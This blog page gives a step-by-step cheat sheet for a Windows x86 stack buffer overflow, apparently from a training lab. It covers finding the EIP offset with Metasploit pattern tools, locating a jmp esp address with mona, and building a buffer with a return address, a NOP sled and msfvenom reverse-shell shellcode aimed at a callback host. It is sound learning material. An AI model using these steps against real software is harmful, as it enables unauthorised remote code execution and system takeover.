> For the complete documentation index, see [llms.txt](https://ed4m4s.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ed4m4s.blog/untitled/b.o-steps.md).

# B.O Steps

**1)** Use script to **crash** program and take a note the bytes needed for.

**2)** **Replicate** the crash with the bytes from 1) to see if indeed crashes the program. 

**3)** **Generate** a pattern with length same as above. 

```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
```

**4)** Replace the pattern above in place of the bytes.

**5)** Make a note of the HEX number that overwrites the EIP at the time of the crash. 

**6)**  Together with the EIP found in 5) determine the offset.

```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2700 -q HEX
```

**7)** The buffer should look like this 

```
buffer = "A"*2606 + "B"*4 +"C"*90 = 2700
```

**8)** **Increase** buffer if the bytes are not enough for our shellcode. 

```
buffer = "A"*2606 + "B"*4 +"C"*(3500-2606-4)
```

**9)** Look for **bad characters** 

```
buffer = "A"*2606 + "B"*4 + badchars :where badchars=("\x00...\xff"
```

**10)** The main idea is to **replace** the EIP with ESP but can be difficult to hand code ESP as its not constant. 

**11)** By the time of the crash there are other dll's and functions loaded. We need to find those (with no DEP and noASLR) 

**12)** Use mona

```
!mona modules
```

**13)** Use nasm to make a note of the **jmp esp**

```
ruby /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 
nasm> jmp esp 
00000000    FFE4    jmp esp
nasm>
```

**14)** Find the memory address

```
!mona find -s "\xff\xe4" -m slmfc.dll
```

**15)** Memory address found in 14) above. **Remember** it should be in reverse if x86 arch

```
buffer = "A"*2606 + "\x8f\x35\x4a\x5f" +"C"*(3500-2606-4)
```

**16)** Place a **breakpoint** at this address and let it run 

**17)** ESP will then be pointed to the next executable which will be our shellcode. 

**18)** Create a **shellcode** with **msfvenom** 

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.11 LPORT=443 -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -a x86 --platform windows

where:
    -p: platform
    -f: format
    -e: encoder 
    -b: bad characters
    -a: arch
```

**19)** Our buffer at this stage should be the following:

```
buffer = "A"*2606 + "\x8f\x35\x4a\x5f" +"\x90"16 + shellcode + "C"*(3500-2606-4-351-16)
```

**20)** **Run it!!!** We should have a **shell**.